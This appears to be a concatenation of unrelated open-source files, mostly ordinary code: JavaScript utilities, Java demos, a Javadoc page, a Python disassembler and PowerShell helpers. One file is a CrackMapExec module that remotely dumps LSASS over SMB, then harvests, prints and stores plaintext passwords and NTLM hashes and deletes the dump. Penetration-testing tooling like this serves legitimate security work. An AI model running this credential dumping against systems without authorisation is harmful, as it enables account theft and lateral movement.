        public IFormElement getElement()
        {
            return this.element;
        }
    }
}


text:
/**
 * Rename a provided i18n key in a bundle directory to a different name
 */

var argv = require('optimist')
    .usage('Usage: $0 -f <original i18n key name> -t <new i18n key name> -b <bundle directory>')

    .demand('f')
    .alias('f', 'fromI18nKey')
    .describe('f', 'Original i18n key name (e.g. `CONTENT_UPLOADING_FILE`)')

    .demand('t')
    .alias('t', 'toI18nKey')
    .describe('t', 'New i18n key name (e.g. `UPLOADING_FILE`)')

    .demand('b')
    .alias('b', 'bundleDir')
    .describe('b', 'Absolute path to the bundles directory that contains the i18n key to rename')
    .argv;

var util = require('./util');

// Extract the original and new key name
var fromI18nKey = argv.fromI18nKey;
var toI18nKey = argv.toI18nKey;

// Extract the directory in which to rename the key
var bundleDir = argv.bundleDir;

// Read the bundles that hold the key to rename
util.readBundles(bundleDir, function(err, bundles) {
    if (err) {
        return console.error('Error reading the bundles that hold the key to rename', err);
    }

    // Rename the keys in the specified bundles
    util.renameKeyInBundles(bundles, fromI18nKey, toI18nKey, function(err, renamedBundles) {
        if (err) {
            return console.error('Error renaming the key in the bundles', err);
        }

        // Save the bundles with the key renamed
        util.writeBundles(renamedBundles, bundleDir, function(err) {
            if (err) {
                return console.error('Error saving the bundles with the key renamed', err);
            }

            console.log('Finished renaming ' + fromI18nKey + ' to ' + toI18nKey + ' in ' + bundleDir);
        });
    });
});

redpajama_set_name: RedPajamaGithub


text:
chorus.dialogs.DataSourceEdit = chorus.dialogs.Base.extend({
    constructorName: "DataSourceEdit",

    templateName: "data_source_edit",
    title: t("data_sources.edit_dialog.title"),
    events: {
        "submit form": "save",
        "click a.connection_parameters": "launchConnectionParametersDialog",
        "change input[name=high_availability]": 'toggleHighAvailability'
    },

    formFields: ["name", "host", "port", "size", "dbName", "username", "groupList", "streamUrl", "password", "jobTrackerHost", "jobTrackerPort", "hdfsVersion", "hiveKerberosPrincipal", "hiveKerberosKeytabLocation"],

    makeModel: function() {
        this.sourceModel = this.model;
        this.model = this.model.clone();
        this.listenTo(this.model, 'change', this.rewriteLink);
    },

    setup: function() {
        this.listenTo(this.model, "saved", this.saveSuccess);
        this.listenTo(this.model, "saveFailed", this.saveFailed);
        this.listenTo(this.model, "validationFailed", this.saveFailed);
    },

    postRender: function() {
        this.$(".hdfs_version").val(this.model.get("hdfsVersion") || this.model.get("hiveHadoopVersion"));
        if(this.model.get("hive")) {
            this.toggleKerberos();
        }
        _.defer(_.bind(function() {
            chorus.styleSelect(this.$("select.hdfs_version"), { format: function(text, option) {
                var aliasedName = $(option).attr("name");
                return '' + text;
            } });
        }, this));
    },

    launchConnectionParametersDialog: function (e) {
        e && e.preventDefault();

        new chorus.dialogs.HdfsConnectionParameters({model: this.model}).launchModal();
    },

    rewriteLink: function () {
        this.$('a.connection_parameters').text(t('data_sources.dialog.connection_parameters', {count: this.model.numberOfConnectionParameters()}));
    },

    toggleHighAvailability: function (e) {
        e && e.preventDefault();

        if (this.$('input[name=high_availability]').prop('checked')) {
            this.$('input[name=port]').val('');
            this.$('[name=port]').prop('disabled', true).removeClass('required');
            this.$('label[name=host]').text(t('data_sources.dialog.name_service'));
        } else {
            this.$('[name=port]').prop('disabled', false).addClass('required');
            this.$('label[name=host]').text(t('data_sources.dialog.hadoop_host'));
        }
    },

    toggleKerberos: function(e) {
        if (this.model.get("hiveKerberos"))  {
            this.$('[name=hiveKerberosPrincipal]').removeClass('hidden');
            this.$('[name=hiveKerberosKeytabLocation]').removeClass('hidden');
            this.$('[name=hiveKerberosPrincipal]').val(this.model.get('hiveKerberosPrincipal'));
            this.$('[name=hiveKerberosKeytabLocation]').val(this.model.get('hiveKerberosKeytabLocation'));
        }
    },

    additionalContext: function() {
        return {
            gpOrPg: this.gpOrPg(),
            gpdbPgOrOracle: this.gpOrPg() || this.model.isOracle(),
            jdbcDataSource: this.model.isJdbc(),
            hdfsDataSource: this.model.constructorName === "HdfsDataSource",
            gnipDataSource: this.model.constructorName === "GnipDataSource",
            parameterCount: {count: this.model.numberOfConnectionParameters()},
            jdbcHiveDataSource: this.model.constructorName === "JdbcHiveDataSource"
        };
    },

    gpOrPg: function() {
        return this.model.isGreenplum() || this.model.isPostgres();
    },

    save: function(e) {
        e.preventDefault();
        var attrs = {
            description: this.$("textarea[name=description]").val().trim()
        };

        _.each(this.formFields, function(name) {
            var input = this.$("input[name=" + name + "], select[name=" + name + "]");
            if (input.length) {
                attrs[name] = input.val().trim();
            }
        }, this);

        if(this.model.get('hive')) {
            attrs.hiveKerberos = this.model.get('hiveKerberos');
        }

        attrs.highAvailability = !!this.$("input[name=high_availability]").prop("checked");
        attrs.ssl = !!this.$("input[name=ssl]").prop("checked");

        this.$("button.submit").startLoading("data_sources.edit_dialog.saving");
        this.$("button.cancel").prop("disabled", true);
        this.model.save(attrs, {silent: true});
    },

    saveSuccess: function() {
        this.sourceModel.set(this.model.attributes);
        chorus.toast("data_sources.edit_dialog.saved.toast", {dataSourceName: this.model.name(), toastOpts: {type:"success"}});
        this.closeModal();
    }
});


text:
var assert = require('assert');
var should = require('chai').should();
var expect = require('chai').expect;
var supertest = require('supertest');

const dotenv = require('dotenv');
dotenv.config();

var api = supertest('http://localhost:' + process.env.APIPORT + '/');

// *************************************************
// Main controllers:
//

describe('Any path goes to the api documentation:', function () {
  it('`api-docs` redirects to the api documentation.', function (done) {
    api.get('v2')
      .set('Accept', 'application/json')
      .expect(302, done);
  });
});


text:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<title>DeviceConfig.ScreenSize</title>
<meta name="date" content="2018-03-16">
<link rel="stylesheet" type="text/css" href="../../../stylesheet.css" title="Style">

JavaScript is disabled on your browser.

Skip navigation links

Overview

Package

Class

Tree

Deprecated

Index

Help

Prev Class

Next Class

Frames

No Frames

All Classes

Summary:

Nested |

Enum Constants |

Field |

Method

Detail:

Enum Constants |

Field |

Method

org.robolectric.android

Enum DeviceConfig.ScreenSize

java.lang.Object

java.lang.Enum<DeviceConfig.ScreenSize>

org.robolectric.android.DeviceConfig.ScreenSize

All Implemented Interfaces:

java.io.Serializable, java.lang.Comparable<DeviceConfig.ScreenSize>

Enclosing class:

DeviceConfig

public static enum DeviceConfig.ScreenSize
extends java.lang.Enum<DeviceConfig.ScreenSize>

Standard sizes for the screen size qualifier.

Enum Constant Summary

Enum Constants

Enum Constant and Description

large

normal

small

xlarge

Field Summary

Fields

Modifier and Type
Field and Description

int
height

int
landscapeHeight

int
landscapeWidth

int
width

Method Summary

All Methods Static Methods Concrete Methods

Modifier and Type
Method and Description

static DeviceConfig.ScreenSize
valueOf(java.lang.String name)

Returns the enum constant of this type with the specified name.

static DeviceConfig.ScreenSize[]
values()

Returns an array containing the constants of this enum type, in
the order they are declared.

Methods inherited from class java.lang.Enum

clone, compareTo, equals, finalize, getDeclaringClass, hashCode, name, ordinal, toString, valueOf

Methods inherited from class java.lang.Object

getClass, notify, notifyAll, wait, wait, wait

Enum Constant Detail

small

public static final DeviceConfig.ScreenSize small

normal

public static final DeviceConfig.ScreenSize normal

large

public static final DeviceConfig.ScreenSize large

xlarge

public static final DeviceConfig.ScreenSize xlarge

Field Detail

width

public final int width

height

public final int height

landscapeWidth

public final int landscapeWidth

landscapeHeight

public final int landscapeHeight

Method Detail

values

public static DeviceConfig.ScreenSize[] values()

Returns an array containing the constants of this enum type, in
the order they are declared.  This method may be used to iterate
over the constants as follows:

for (DeviceConfig.ScreenSize c : DeviceConfig.ScreenSize.values())
    System.out.println(c);

Returns:

an array containing the constants of this enum type, in the order they are declared

valueOf

public static DeviceConfig.ScreenSize valueOf(java.lang.String name)

Returns the enum constant of this type with the specified name.
The string must match exactly an identifier used to declare an
enum constant in this type.  (Extraneous whitespace characters are
not permitted.)

Parameters:

name - the name of the enum constant to be returned.

Returns:

the enum constant with the specified name

Throws:

java.lang.IllegalArgumentException - if this enum type has no constant with the specified name

java.lang.NullPointerException - if the argument is null

Skip navigation links

Overview

Package

Class

Tree

Deprecated

Index

Help

Prev Class

Next Class

Frames

No Frames

All Classes

Summary:

Nested |

Enum Constants |

Field |

Method

Detail:

Enum Constants |

Field |

Method


text:
# Copyright lowRISC contributors.
# Licensed under the Apache License, Version 2.0, see LICENSE for details.
# SPDX-License-Identifier: Apache-2.0

from . instructions import *

class Disassembler:
    ctx = InsContext()
    ins_objects = []
    loopendstack = []
    asm_lines = []

    def __init__(self, lines, label_lines=None, opt_print_bitmaps=False):
        self.ins_fac = InstructionFactory()
        self.lines = lines
        if label_lines:
            self.__parse_labels(label_lines)
        self.__dis_file(lines, opt_print_bitmaps)

    def __parse_labels(self, lines):
        label = ''
        for line in lines:
            line = line.strip()
            if not line:
                continue
            if line.lower().startswith('@'):
                if line.lower().startswith('@0x'):
                    addr = int(line.split(':')[0][3:].strip(), 16)
                else:
                    addr = int(line.split(':')[0][1:].strip())
                fun_label = line.split('function')[1].split('{')[0].split('[')[0].strip()
                self.ctx.functions.update({addr: fun_label})
            if line.lower().startswith("0x") or line.split()[0].split(':')[0].isdigit():
                if label:
                    if line.lower().startswith("0x"):
                        addr = int(line.split()[0].split(':')[0][2:0], 16)
                    else:
                        addr = int(line.split()[0].split(':')[0])
                    self.ctx.labels.update({addr: label})
                    label = False
            if line.endswith(':'):
                label = line[:-1]

    def __dis_instr(self, ins_str):
        try:
            ins_object = self.ins_fac.factory_bin(ins_str[2:10], self.ctx)
            hexstr, asm_str, malformed = ins_object.get_asm_str()

        except UnknownOpcodeError:
            asm_str = 'Unknown Opcode'
            malformed = True
            hexstr = 'INVALID'
            ins_object = None
        return hexstr, asm_str, malformed, ins_object

    def __dis_file(self, lines, opt_print_bitmaps=False):
        if 0 not in self.ctx.functions:
            self.ctx.functions.update({0: 'fun0'})
        any_malformed = False
        for line in lines:
            if not line:
                break
            line = line.strip().lower()
            if len(line.split(':', 1)) == 2:
                line = line.split(':')[1].strip()
            if line.startswith("0x"):
                hexstr, asm_str, malformed, ins_object = self.__dis_instr(line)
                if opt_print_bitmaps:
                    print(ins_object.get_enc_tab())
                self.ins_objects.append((hexstr, asm_str, malformed, ins_object))
                if malformed:
                    any_malformed = True
                    print('malformed instruction word: ' + hexstr)
        if any_malformed:
            print('Warning: There were malformed instructions')
        else:
            print('No malformed instructions detected')

    def create_assembly(self, opt_address=False, opt_address_format=None, opt_function_length=False,
                        opt_code=False, opt_defines=False):
        """create assembly from instruction objects"""
        for i, item in enumerate(self.ins_objects):
            if isinstance(item[3], ILoop):
                self.loopendstack.append(item[3].get_len() + i)

            if i in self.ctx.functions:
                fun_len = 0
                for j in range(i+1, len(self.ins_objects) + 1):
                    fun_len = j-i
                    if j in self.ctx.functions:
                        break
                func = ''
                if i != 0:
                    if opt_code:
                        func += '/* } */\n'
                    else:
                        func += '}\n\n'
                if opt_code:
                    func += '/* '
                if opt_code or (opt_address and opt_address_format == 'hex'):
                    func += '@' + hex(i) + ': '
                if opt_address and opt_address_format == 'dec':
                    func += '@' + str(i) + ': '
                func += 'function ' + self.ctx.functions.get(i)
                if opt_function_length:
                    if fun_len:
                        func += '[' + str(fun_len) + ']'
                func += ' {'
                if opt_code:
                    func += ' */'
                self.asm_lines.append(func)
                if opt_code and opt_defines:
                    self.asm_lines.append('#define CF_' + self.ctx.functions.get(i) + '_adr ' + str(i))
            if i in self.ctx.labels:
                lab = ''
                if opt_code:
                    lab += '   /*'
                lab += self.ctx.labels.get(i) + ':'
                if opt_code:
                    lab += ' */'
                self.asm_lines.append(lab)
            asm = ''
            if opt_address:
                if opt_address_format == 'hex':
                    asm += '0x' + hex(i)[2:].zfill(3) + ': '
                else:
                    asm += str(i).zfill(4) + ':  '
            if opt_code:
                asm += '    ' + item[0] + ', /* '
            asm += item[1]
            if opt_code:
                asm += ' */'
            self.asm_lines.append(asm)
            if i in self.loopendstack:
                if opt_code:
                    self.asm_lines.append('	/*		   ) */')
                else:
                    if opt_address:
                        self.asm_lines.append('       )')
                    else:
                        self.asm_lines.append(')')
            if i == len(self.ins_objects) - 1:
                if opt_code:
                    self.asm_lines.append('/* } */')
                else:
                    self.asm_lines.append('}')
        return self.asm_lines

    def get_instruction_objects(self):
        return [item[3] for item in self.ins_objects]


text:
package uk.ac.ebi.spot.goci;

import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.stereotype.Component;

import javax.sql.DataSource;

/**
 * Created by Dani on 11/01/17.
 */

@Component
public class GOCIDataExportConfiguration {

    @Bean
    @ConfigurationProperties(prefix="datasource.public")
    public DataSource dataSource(DataSourceProperties properties) {
        return properties.initializeDataSourceBuilder()
                .build();
    }
}


text:
from lsassy import logger
from lsassy.dumper import Dumper
from lsassy.parser import Parser
from lsassy.session import Session
from lsassy.impacketfile import ImpacketFile
from cme.helpers.bloodhound import add_user_bh

class CMEModule:
    name = 'lsassy'
    description = "Dump lsass and parse the result remotely with lsassy"
    supported_protocols = ['smb']
    opsec_safe = True
    multiple_hosts = True

    def options(self, context, module_options):
        """
            METHOD              Method to use to dump lsass.exe with lsassy
        """
        self.method = 'comsvcs'
        if 'METHOD' in module_options:
            self.method = module_options['METHOD']

    def on_admin_login(self, context, connection):
        logger.init(quiet=True)
        host = connection.host
        domain_name = connection.domain
        username = connection.username
        password = getattr(connection, "password", "")
        lmhash = getattr(connection, "lmhash", "")
        nthash = getattr(connection, "nthash", "")

        session = Session()
        session.get_session(
            address=host,
            target_ip=host,
            port=445,
            lmhash=lmhash,
            nthash=nthash,
            username=username,
            password=password,
            domain=domain_name
        )

        if session.smb_session is None:
            context.log.error("Couldn't connect to remote host")
            return False

        dumper = Dumper(session, timeout=10).load(self.method)
        if dumper is None:
            context.log.error("Unable to load dump method '{}'".format(self.method))
            return False

        file = dumper.dump()
        if file is None:
            context.log.error("Unable to dump lsass")
            return False

        parsed = Parser(file).parse()
        if parsed is None:
            context.log.error("Unable to parse lsass dump")
            return False
        credentials, tickets = parsed

        file.close()
        ImpacketFile.delete(session, file.get_file_path())
        if credentials is None:
            credentials = []
        credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")]
        credentials_unique = []
        credentials_output = []
        for cred in credentials:
            if [cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]] not in credentials_unique:
                credentials_unique.append([cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]])
                credentials_output.append(cred)
        self.process_credentials(context, connection, credentials_output)

    def process_credentials(self, context, connection, credentials):
        if len(credentials) == 0:
            context.log.info("No credentials found")
        credz_bh = []
        domain = None
        for cred in credentials:
            domain = cred["domain"]
            if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper():
                domain = connection.domain # slim shady
            self.save_credentials(context, connection, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"])
            self.print_credentials(context, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"])
            credz_bh.append({'username': cred["username"].upper(), 'domain': domain.upper()})
            add_user_bh(credz_bh, domain, context.log, connection.config)

    @staticmethod
    def print_credentials(context, domain, username, password, lmhash, nthash):
        if password is None:
            password = ':'.join(h for h in [lmhash, nthash] if h is not None)
        output = "%s\\%s %s" % (domain, username, password)
        context.log.highlight(output)

    @staticmethod
    def save_credentials(context, connection, domain, username, password, lmhash, nthash):
        host_id = context.db.get_computers(connection.host)[0][0]
        if password is not None:
            credential_type = 'plaintext'
        else:
            credential_type = 'hash'
            password = ':'.join(h for h in [lmhash, nthash] if h is not None)
        context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)


text:
module EbayTrading # :nodoc:
  module Types # :nodoc:
    # == Attributes
    class LocalListingDistancesNonSubscriptionDefinition
      include XML::Mapping
      include Initializer
      root_element_name 'LocalListingDistancesNonSubscriptionDefinition'
    end
  end
end


text:
<?php
use YandexMoney\DepositionRequestParams;

/**
 * User: shnell
 * Date: 27.04.16
 * Time: 11:08
 */

class DepositionRequestParamsTest extends PHPUnit_Framework_TestCase {

    public function testToXml()
    {
        $agentId = '123';
        $orderId = '456';
        $params = new DepositionRequestParams($agentId, $orderId, 'testDeposition');
        $xml = $params->toXml();
        $xmlElem = simplexml_load_string($xml);
        $attrs = $xmlElem->attributes();
        $this->assertEquals($agentId, $attrs['agentId']);
        $this->assertEquals($orderId, $attrs['clientOrderId']);
        $this->assertNotEmpty($attrs['requestDT']);
    }
}


text: import DevExpress from '../bundles/dx.all';


text:
package com.netflix.astyanax.contrib.dualwrites;

import com.netflix.astyanax.AstyanaxContext;
import com.netflix.astyanax.Keyspace;
import com.netflix.astyanax.MutationBatch;
import com.netflix.astyanax.connectionpool.NodeDiscoveryType;
import com.netflix.astyanax.connectionpool.exceptions.ConnectionException;
import com.netflix.astyanax.connectionpool.impl.ConnectionPoolConfigurationImpl;
import com.netflix.astyanax.connectionpool.impl.ConnectionPoolType;
import com.netflix.astyanax.impl.AstyanaxConfigurationImpl;
import com.netflix.astyanax.model.ColumnFamily;
import com.netflix.astyanax.model.ColumnList;
import com.netflix.astyanax.model.ConsistencyLevel;
import com.netflix.astyanax.serializers.IntegerSerializer;
import com.netflix.astyanax.serializers.LongSerializer;
import com.netflix.astyanax.serializers.StringSerializer;
import com.netflix.astyanax.thrift.ThriftFamilyFactory;

public class DualWritesDemo {

    final String cluster1 = "cass_dualwrites_source";
    final String ks1 = "dualwritessrc";
    final String seed1 = "";

    final String cluster2 = "cass_dualwrites_dest";
    final String ks2 = "dualwritessrc";
    final String seed2 = "";

    final ColumnFamily<Integer, Long> CF_DUAL_WRITES =
            ColumnFamily.newColumnFamily("foobar", IntegerSerializer.get(), LongSerializer.get(), StringSerializer.get());

    AstyanaxContext<Keyspace> ctx1;
    Keyspace keyspace1;

    AstyanaxContext<Keyspace> ctx2;
    Keyspace keyspace2;

    DualWritesKeyspace dualKeyspace = null;

    FailedWritesLogger logger = new LogBasedFailedWritesLogger();
    BestEffortSecondaryWriteStrategy execStrategy = new BestEffortSecondaryWriteStrategy(logger);

    public DualWritesDemo() {

        ctx1 = getKeyspaceContext(ks1, seed1);
        keyspace1 = ctx1.getClient();

        ctx2 = getKeyspaceContext(ks2, seed2);
        keyspace2 = ctx2.getClient();

    }

    public void run() throws Exception {

        try {
            ctx1 = getKeyspaceContext(ks1, seed1);
            keyspace1 = ctx1.getClient();
            ctx1.start();

            ctx2 = getKeyspaceContext(ks2, seed2);
            keyspace2 = ctx2.getClient();
            ctx2.start();

            Thread.sleep(100);

            logger.init();

            DualKeyspaceMetadata dualKeyspaceSetup = new DualKeyspaceMetadata(cluster1, ks1, cluster2, ks2);
            dualKeyspace = new DualWritesKeyspace(dualKeyspaceSetup, keyspace1, keyspace2, execStrategy);

            addRowToKS(dualKeyspace, 1, 0, 10);
            verifyPresent(keyspace1, 1);
            verifyNotPresent(keyspace2, 1);

            dualKeyspace.dualWritesEnabled();
            addRowToKS(dualKeyspace, 2, 0, 10);

            verifyPresent(keyspace1, 2);
            verifyPresent(keyspace2, 2);

            dualKeyspace.dualWritesDisabled();
            addRowToKS(dualKeyspace, 3, 0, 10);

            verifyPresent(keyspace1, 3);
            verifyNotPresent(keyspace2, 3);

            dualKeyspace.flipPrimaryAndSecondary();

            addRowToKS(dualKeyspace, 4, 0, 10);

            verifyNotPresent(keyspace1, 4);
            verifyPresent(keyspace2, 4);

            dualKeyspace.dualWritesEnabled();
            addRowToKS(dualKeyspace, 5, 0, 10);

            verifyPresent(keyspace1, 5);
            verifyPresent(keyspace2, 5);

            dualKeyspace.dualWritesDisabled();
            addRowToKS(dualKeyspace, 6, 0, 10);

            verifyNotPresent(keyspace1, 6);
            verifyPresent(keyspace2, 6);

            dualKeyspace.flipPrimaryAndSecondary();
            addRowToKS(dualKeyspace, 7, 0, 10);

            verifyPresent(keyspace1, 7);
            verifyNotPresent(keyspace2, 7);

            dualKeyspace.dualWritesEnabled();
            addRowToKS(dualKeyspace, 8, 0, 10);

            verifyPresent(keyspace1, 8);
            verifyPresent(keyspace2, 8);

            deleteRowFromKS(dualKeyspace, 1,2,3,4,5,6,7,8);

            verifyNotPresent(keyspace1, 1,2,3,4,5,6,7,8);
            verifyNotPresent(keyspace2, 1,2,3,4,5,6,7,8);

        } finally {
            if (ctx1 != null) {
                ctx1.shutdown();
            }
            if (ctx2 != null) {
                ctx2.shutdown();
            }
        }
    }

    private void addRowToKS(Keyspace ks, int rowKey, int start, int end) throws ConnectionException {

        MutationBatch mb = ks.prepareMutationBatch();
        for (long i=start; i<end; i++) {
            mb.withRow(CF_DUAL_WRITES, rowKey).putColumn(i, "foo");
        }
        mb.execute();
    }

    private void deleteRowFromKS(Keyspace ks, int ... rowKeys) throws ConnectionException {

        MutationBatch mb = ks.prepareMutationBatch();
        for (int rowKey : rowKeys) {
            mb.withRow(CF_DUAL_WRITES, rowKey).delete();
        }
        mb.execute();
    }

    private AstyanaxContext<Keyspace> getKeyspaceContext(final String ks, final String seedHost) {
        AstyanaxContext<Keyspace> ctx =
                new AstyanaxContext.Builder()
        .forKeyspace(ks)
        .withConnectionPoolConfiguration(
                new ConnectionPoolConfigurationImpl("myCPConfig-" + ks)
                .setSeeds(seedHost)
                .setPort(7102))
                .withAstyanaxConfiguration(
                        new AstyanaxConfigurationImpl()
                        .setDefaultReadConsistencyLevel(ConsistencyLevel.CL_LOCAL_QUORUM)
                        .setConnectionPoolType(ConnectionPoolType.TOKEN_AWARE)
                        .setDiscoveryType(NodeDiscoveryType.RING_DESCRIBE))
                        .buildKeyspace(ThriftFamilyFactory.getInstance());

        return ctx;
    }

    private void verifyPresent(Keyspace ks, int rowKey) throws ConnectionException {

        ColumnList<Long> result = ks.prepareQuery(CF_DUAL_WRITES).getRow(rowKey).execute().getResult();
        if (result.isEmpty()) {
            throw new RuntimeException("Row: " + rowKey + " missing from keysapce: " + ks.getKeyspaceName());
        } else {
            System.out.println("Verified Row: " + rowKey + " present in ks: " + ks.getKeyspaceName());
        }
    }

    private void verifyNotPresent(Keyspace ks, int rowKey) throws ConnectionException {

        ColumnList<Long> result = ks.prepareQuery(CF_DUAL_WRITES).getRow(rowKey).execute().getResult();
        if (!result.isEmpty()) {
            throw new RuntimeException("Row: " + rowKey + " present in keysapce: " + ks.getKeyspaceName());
        } else {
            System.out.println("Verified Row: " + rowKey + " NOT present in ks: " + ks.getKeyspaceName());
        }
    }

    private void verifyNotPresent(Keyspace ks, int ... rowKeys) throws ConnectionException {
        for (int rowKey : rowKeys) {
            verifyNotPresent(ks, rowKey);
        }
    }

    public static void main(String[] args) {

        try {
            new DualWritesDemo().run();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}


text:
/** @file
 *
 * The parser types.
 *
 * This header contains all type definitions used by the input file parser.
 */

#ifndef __PTYPES_H
#define __PTYPES_H

/** The atom type. */
struct atom_t
{
  /** The atom name. */
  char *name;

  /** The atom position. */
  double x[3];
};

/** The atomlist type. */
struct atomlist_t
{
  /** The number of atoms in this list. */
  int number_atoms;

  /** An array of atoms of type atom_t. */
  struct atom_t *atoms;
};

/** The control data type. */
struct control_t
{
  /** The geometry. */
  struct atomlist_t *atoms;
};

#endif


text:
import React from 'react';
import { makeStyles } from '@material-ui/core/styles';
import Card from '@material-ui/core/Card';
import CardActions from '@material-ui/core/CardActions';
import CardContent from '@material-ui/core/CardContent';
import Button from '@material-ui/core/Button';
import Typography from '@material-ui/core/Typography';

const useStyles = makeStyles({
  card: {
    minWidth: 275,
  },
  bullet: {
    display: 'inline-block',
    margin: '0 2px',
    transform: 'scale(0.8)',
  },
  title: {
    fontSize: 14,
  },
  pos: {
    marginBottom: 12,
  },
});

function SimpleCard() {
  const classes = useStyles();
  const bull = •;

  return (
    <Card className={classes.card}>
      <CardContent>
        <Typography className={classes.title} color="textSecondary" gutterBottom>
          Word of the Day
        </Typography>
        <Typography variant="h5" component="h2">
          be
          {bull}
          nev
          {bull}o{bull}
          lent
        </Typography>
        <Typography className={classes.pos} color="textSecondary">
          adjective
        </Typography>
        <Typography variant="body2" component="p">
          well meaning and kindly.

          {'"a benevolent smile"'}
        </Typography>
      </CardContent>
      <CardActions>
        <Button size="small">Learn More</Button>
      </CardActions>
    </Card>
  );
}

export default SimpleCard;


text:
function ConvertTo-SqlString ($str) {
    if (($str -eq $null) -or ($str -eq "")) { return "null" }
    return "'$($str -replace "'","''")'"
}

# use ODBC canonical date/time conversion
# 120 ->  yyyy-mm-dd hh:mi:ss(24h)
function ConvertTo-SqlDateTime ($dt) {
    if ($dt -eq $null) { return "null" }
    return "CONVERT(DATETIME,'$($dt.ToString('yyyy-MM-dd HH:mm:ss'))',120)"
}

function ConvertTo-SqlDate ($dt) {
    if ($dt -eq $null) { return "null" }
    return "CONVERT(DATETIME,'$($dt.ToString('yyyy-MM-dd'))',120)"
}


text:
import {
	MAX_CELL_NUM,
	MIN_CELL_NUM,
	TAPE_BREAK_POINT,
	ANIMATION_SPEED,
} from '../constants/GeneralAppSettings';
import {
	INIT_HEAD_WIDTH,
	INIT_HEAD_LEFT_OFFSET,
	HEAD_MOVE_INTERVAL,
	HEAD_LEFT_BOUNDARY,
} from '../constants/components/Head';
import {
	moveLeftHelper,
	moveRightHelper,
	moveTapeRightHelper,
	moveTapeLeftHelper
} from './tape';

// define helper to optimize performance
export function adjustHeadWidthHelper(state, text) {
	text = (text) ? text : state.tapeInternalState.toString();
	// leave some white space
	let textLength = text.length + 2;

	let newWidth, newLeftOffset;
	// each char is of width 10px
	let defaultTextLength = INIT_HEAD_WIDTH / 10;

	// if < default text length
	// set head view to initial head view
	let charSize = 10;
	if (textLength < defaultTextLength) {
		newWidth = INIT_HEAD_WIDTH;
		newLeftOffset = INIT_HEAD_LEFT_OFFSET;
	} else {
		// else expand head
		let diff = textLength - defaultTextLength;
		newWidth = INIT_HEAD_WIDTH + charSize * diff;
		newLeftOffset = INIT_HEAD_LEFT_OFFSET - (charSize/2) * diff;
	}

	state.headWidth = newWidth;
	state.headLeftOffset = newLeftOffset;

	return state;
}

/*
Adjust the Head width according to the length of text in it

*** NOTE ***: It is wrapped in tape.setInternalState
*/
export function adjustHeadWidth(state, action) {
	let new_state = Object.assign({}, state);

	return adjustHeadWidthHelper(new_state, action.text);
}

export function setPlayStateHelper(state, flag) {
	if (!flag && state.interval) {
		clearInterval(state.interval);
	}

	state.isRunning = flag;
	state.interval = (flag) ? state.interval : null;

	return state;
}

/* SIDE EFFECT HERE!*/
/* IF THE MACHINE IS RUNNING AND WANTED TO BE STOPPED,
	clearInterval WILL BE CALLED

action.flag: bool, true means the machine is running

*/
export function setPlayState(state, action) {
	let new_state = Object.assign({}, state);

	return setPlayStateHelper(new_state, action.flag);
}

/*
	Handles speed changes
*/
export function setAnimationSpeed(state, action) {
	return Object.assign({}, state, {
		// update factor
		animationSpeedFactor: action.percentage,
		// calculate speed, not necessary, but would be handy to define it
		animationSpeed: ANIMATION_SPEED / action.percentage
	});
}

export function moveHeadHelper(state, moveLeft) {
	let new_head_x;

	if (moveLeft) {
		// view change
		new_head_x = state.headX - HEAD_MOVE_INTERVAL;
		// model change
		state = moveLeftHelper(state);
	} else {
		new_head_x = state.headX + HEAD_MOVE_INTERVAL;
		state = moveRightHelper(state);
	}

	// if headX exceeds boundary, don't change it!
	state.headX = (new_head_x <= state.rightBoundary &&
		new_head_x >= HEAD_LEFT_BOUNDARY) ? new_head_x : state.headX;

	return state;
}

/*
	WRAPPER FUNCTION:
	Handles model changes and view changes for Head
*/
export function moveHead(state, action) {
	let new_state = Object.assign({}, state, {
		tapeCellsById: state.tapeCellsById.slice()
	});

	return moveHeadHelper(new_state, action.moveLeft);
}

/*
Resize the screen and tape according to screen size
newScreenSize * 0.9 - 96; look at tape.css (90% = 0.9 is from class card-of-tape, 96 is the widthes of two buttons)
always center the Head (and tapePointer) to center of the tape by following calculations:

midPoint = cell numbers // 2 (floor it)
headX: left boundary + move_interval * midPointer, --- for correctness, see view
tapePointer: anchor cell + midPointer.
--- correctness proof:
	since anchor cell always denotes the id of leftmost cell, then anchor cell + midPointer
	is always the value of the corresponding pointer to the midpoint cell of the tape

General correctness proof:
	And because this reducer only changes:
		cellNum,
		screenSize,
		headX,
		tapePointer,
		rightBoundary,
	We are assured that it won't affect other properties
*/
export function resizeScreenAndTape(state, action) {
	let newScreenSize = action.screenWidth;
	let newTapeSpace = newScreenSize * 0.9 - 96;
	let newCellNum;
	let new_state = state;

	if (newTapeSpace < TAPE_BREAK_POINT) {
		let diff = Math.ceil((TAPE_BREAK_POINT - newTapeSpace) / 50)
		newCellNum = MAX_CELL_NUM - diff;
		if (newCellNum <= MIN_CELL_NUM) newCellNum = MIN_CELL_NUM;
	} else {
		newCellNum = MAX_CELL_NUM;
	}

	if (newCellNum === state.cellNum) return new_state;

	let originalPointer = new_state.tapePointer;

	let midPoint = Math.floor(newCellNum / 2);
	new_state = Object.assign({}, new_state, {
		screenSize: newScreenSize,
		cellNum: newCellNum,
		headX: HEAD_LEFT_BOUNDARY + midPoint * HEAD_MOVE_INTERVAL,
		tapePointer: new_state.anchorCell + midPoint,
		rightBoundary: HEAD_LEFT_BOUNDARY + (newCellNum - 1) * HEAD_MOVE_INTERVAL,
	});

	let offset = new_state.tapePointer - originalPointer;
	let moveLeft;
	if (offset < 0) { // need move right
		offset = -offset;
		moveLeft = false;
	} else { // need move left
		moveLeft = true;
	}

	while (offset--) {
		if (moveLeft)
			new_state = moveTapeLeftHelper(new_state);
		else
			new_state = moveTapeRightHelper(new_state);
	}

	new_state.highlightedCellOrder = -1; // cancel any highlight

	return new_state;
}

export function toggleTrialDrawer(state, action) {
